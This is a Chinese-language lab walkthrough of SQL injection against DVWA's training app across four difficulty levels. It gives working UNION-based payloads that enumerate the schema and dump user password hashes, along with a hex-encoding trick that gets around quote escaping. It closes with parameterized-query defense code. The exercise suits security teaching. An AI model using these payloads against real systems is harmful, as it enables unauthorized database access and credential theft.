Low
1.首先判断注入类型
快速判断是字符型注入还是数字型注入
输入1 and 1=2(永假式),如果是数字型注入页面会报错,所以这儿是个字符型注入(字符型和数字型的区别就是有没有单引号闭合)
2.order by猜解列
最大的不报错的数为可控列数
3. 查看显位
4. 查看数据库信息
因为数据库是mysql,我们可以使用database(),version(),user()来获取信息。
获取到数据库名字为dvwa,用户为root
5. 从information_schema中读数据
首先读dvwa库的表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#
得到dvwa数据库的两个表guestbook,users
再拿users表的列名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
观察列名可以发现user,password是敏感信息,我们去拿这两个列的元素
拿user,password
1’ union select group_concat(user),group_concat(password) from users#
拿到dvwa的用户名和哈希后的密码
Medium
观察前端将id变为了下拉框,但是我们可以通过burp抓包进行修改
我们在id=1后面加上and 1=2,放包后发现,前端不显示id1的信息了,判断此处为数字型注入。
另外查看后端代码,可以发现后端对SQL语句做了mysqli_real_escape_string过滤,具体是将NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z这些符号加上\进行转义,从而避免SQL注入。我们在构造payload时注意绕开这些符号。
具体注入方式和Low Level相似,只不过要通过burp改包放包实现注入。
在Low Level中已经知道了显位,这儿直接略过直接构造payload读数据库信息。
1.拿数据库名字和user信息
1 union select database(),user()
2.拿数据库的表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
这里注意用database()替代’dvwa’,因为后端有转义函数会将’转义为’
3.拿users表的列名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
这里注意’users’,可以用十六进制编码等方法绕过后端过滤
4.拿users表中user和password列的信息
1 union select group_concat(user),group_concat(password) from users
High
相比于Medium后端代码加入了一个LIMIT 1,我们可以通过#直接注释掉。
是个字符型注入,和Low Level相似,这里直接放最终payload
1’ union select group_concat(user),group_concat(password) from users#
Impossible
观察后端代码,SQL为参数化查询,代码和数据不会混杂在一起造成SQL注入漏洞了,此外还加入了csrf token。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
防御
1.过滤危险字符
2.后端使用参数化查询和预编译方法